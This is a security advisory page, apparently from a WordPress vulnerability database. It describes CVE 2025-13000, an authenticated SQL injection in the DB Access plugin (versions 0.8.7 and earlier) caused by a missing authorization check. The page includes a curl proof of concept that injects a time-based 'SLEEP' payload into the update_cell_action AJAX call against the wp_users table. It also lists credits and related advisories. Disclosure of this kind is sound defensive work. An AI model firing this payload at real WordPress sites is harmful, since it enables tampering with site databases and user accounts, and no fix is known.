DB Access <= 0.8.7 – Subscriber+ SQLi | CVE 2025-13000 | Plugin Vulnerabilities

Description

The plugin does not have authorization in an AJAX action, allowing any authenticated users, such as subscriber to perform SQLI attacks

Proof of Concept

time curl -b wp_cookies.txt "https://example.com/wordpress/wp-admin/admin-ajax.php" \
    -d "action=update_cell_action" \
    -d "table=wp_users" \
    -d "keyname=ID" \
    -d "key=1 AND SLEEP(6)" \
    -d "col=user_email" \
    -d "text=test@test.com"

Affects Plugins

No known fix

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Yousof Nahya

Submitter

Yousof Nahya

Submitter website

https://linkedin.com/in/yousof-nahya/

Verified

Yes

WPVDB ID

aec53f87-6500-4c8a-925a-146be61bbabf

Timeline

Publicly Published

2025-11-11 (about 1 month ago)

Added

2025-11-11 (about 1 month ago)

Last Updated

2025-11-11 (about 1 month ago)

Other

Published

Title

Published

2024-02-02

Title

SP Project & Document Manager < 4.70 - Authenticated (Contributor+) SQL Injection via Shortcode

Published

2023-11-23

Title

ChatBot < 4.7.9 - Authenticated (Administrator+) SQL Injection

Published

2024-08-22

Title

AI Engine < 2.4.8 - Admin+ SQLi

Published

2015-07-06

Title

Yet Another Stars Rating <= 0.9.0 - Authenticated Blind SQL Injection

Published

2021-09-02

Title

Meow Gallery < 4.1.9 - Contributor+ SQL Injection